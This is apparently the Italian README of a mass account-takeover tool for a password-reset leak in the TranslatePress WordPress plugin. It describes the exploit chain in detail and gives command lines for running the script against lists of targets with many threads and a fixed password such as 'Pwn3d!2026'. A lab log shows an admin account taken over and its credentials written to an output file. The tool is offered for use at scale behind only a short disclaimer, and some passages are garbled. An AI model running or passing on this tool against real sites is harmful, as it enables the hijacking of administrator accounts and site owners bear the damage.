
PoC di account takeover non autenticato per TranslatePress Multilingual <= 3.3.1 (WordPress)
Strumento di acquisizione account di massa per CVE-2026-19632, un'acquisizione account non autenticata nel plugin WordPress TranslatePress – Multilingual (≤ 3.3.1) causata dalla divulgazione del link di reset della password. Un comando per lista di target — l'intera catena viene eseguita automaticamente, e ogni acquisizione riuscita viene scritta nel file di output nel momento stesso in cui avviene.
Disclaimer — solo uso autorizzato. Questo strumento modifica password di account reali e invia email di reset password reali. Usalo esclusivamente contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta a testarli. L'autore non è responsabile di qualsiasi uso improprio.
| CVE | CVE-2026-19632 |
| Prodotto | TranslatePress – Multilingual (plugin WordPress, slug translatepress-multilingual), di Cozmoslabs |
| Versioni vulnerabili | Tutte le versioni ≤ 3.3.1 (oltre 400.000 installazioni attive) |
| Versione corretta | 3.3.2 (fix: controllo current_user_can sul gestore AJAX pubblico del dizionario) |
| CVSS 3.1 | 9.8 CRITICO — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (CNA: Wordfence) |
| CWE | CWE-200 (Esposizione di informazioni sensibili) + CWE-640 (Meccanismo debole di recupero password) |
| Impatto | Acquisizione account amministratore non autenticata |
trp_data incluso il nonce get_translations. I nonce per i visitatori
non autenticati sono pubblici per design; il plugin si affida a essi per la sicurezza.wp_mail e traduce le email in uscita nella lingua del destinatario.
Quando un attaccante anonimo attiva wp-login.php?action=lostpassword
per un admin la cui lingua del profilo è una lingua secondaria pubblicata,
l'intera email di reset — inclusa l'URL wp-login.php?action=rp
in chiaro con la chiave di reset valida — viene inserita in
wp_trp_dictionary_<default>_<locale> in modo sincrono all'interno della
richiesta dell'attaccante. SMTP non deve nemmeno funzionare.trp_get_translations_regular è registrato
come wp_ajax_nopriv e, prima della 3.3.2, verificava solo il nonce pubblico.
Chiunque può enumerare il dizionario tramite string_ids ed estrarre la chiave.Analisi tecnica completa: CVE-2026-19632-REPORT.md
cve-2026-19632.pyUno script singolo e autonomo che esegue la catena completa per ogni target in una lista:
readme.txt)trp_data + sondaggio del selettore di lingua)url|username|password al file di output
(flush, thread-safe, senza attendere la fine dell'esecuzione)Robustezza integrata:
--new-password).pip install -r requirements.txt
# esecuzione completa contro una lista di target, 20 thread
python cve-2026-19632.py -l targets.txt -o vuln.txt -t 20
# password fissa per ogni target
python cve-2026-19632.py -l targets.txt -o vuln.txt -t 10 --new-password 'Pwn3d!2026'
# tramite proxy
python cve-2026-19632.py -l targets.txt -o vuln.txt -t 10 --proxy http://127.0.0.1:8080
| Opzione | Descrizione |
|---|---|
-l, --list | File con un URL target per riga (commenti # consentiti) |
-o, --output | File dei risultati, formato url|username|password (predefinito vuln.txt) |
-t, --threads | Worker concorrenti (predefinito 10) |
--new-password | Password fissa per tutti i target (predefinito: 14 caratteri casuali per target) |
--timeout | Timeout per richiesta in secondi (predefinito 15) |
--proxy | Proxy HTTP, es. http://127.0.0.1:8080 |
--no-color | Disabilita l'output colorato |
Log di terminale contro un'istanza di laboratorio (WordPress 7.0.4 + TranslatePress 3.3.1,
ar predefinita → en_US secondaria) — valori anonimizzati:
[00:09:06] [INFO] CVE-2026-19632 takeover tool - 3 target(s), 3 thread(s)...
[00:09:06] [SKIP] http://example.com (no TranslatePress)
[00:09:07] [INFO] http://TARGET TP found - langs: ar->en_US, nonce=a1b2c3d4e5
[00:09:09] [INFO] username candidates: ['admin', ...]
[00:09:09] [WARN] attempt 1/3 failed (stale key)
[00:09:09] [WARN] attempt 2/3 failed (stale key)
[00:09:09] [WARN] attempt 3/3 failed (stale key)
[00:09:09] [INFO] all keys stale - fresh reset trigger...
[00:09:15] [TAKEOVER] http://TARGET SUCCESS - user='admin' password='Pwn3d!2026'
[00:09:15] [INFO] done. summary: ERROR=1 | SKIP=1 | TAKEOVER=1
vuln.txt (scritto in tempo reale, al momento del successo):
http://TARGET|admin|Pwn3d!2026
Tratta
vuln.txtcome un artefatto sensibile — contiene credenziali attive e/o chiavi di reset valide. Aggiungilo a.gitignore.
Non richiesto: un server di posta funzionante (l'URL viene memorizzato all'interno del
filtro wp_mail, prima del tentativo di invio).
admin-ajax.php per enumerazioni sequenziali di string_ids
con un nonce security pubblico.| Data | Evento |
|---|---|
| 2026-08-12 | CVE-2026-19632 riservato |
| 2026-08-13 | TranslatePress 3.3.2 rilasciato con il fix |
| 2026-08-25/26 | Wordfence pubblica l'avviso; 8.618 tentativi di sfruttamento bloccati entro 24h |
| 2026-08-28 | Avviso ThaiCERT |
momopon1415) e il team Wordfence, accreditati nel changelog della 3.3.2.MIT © 2026 ghostpel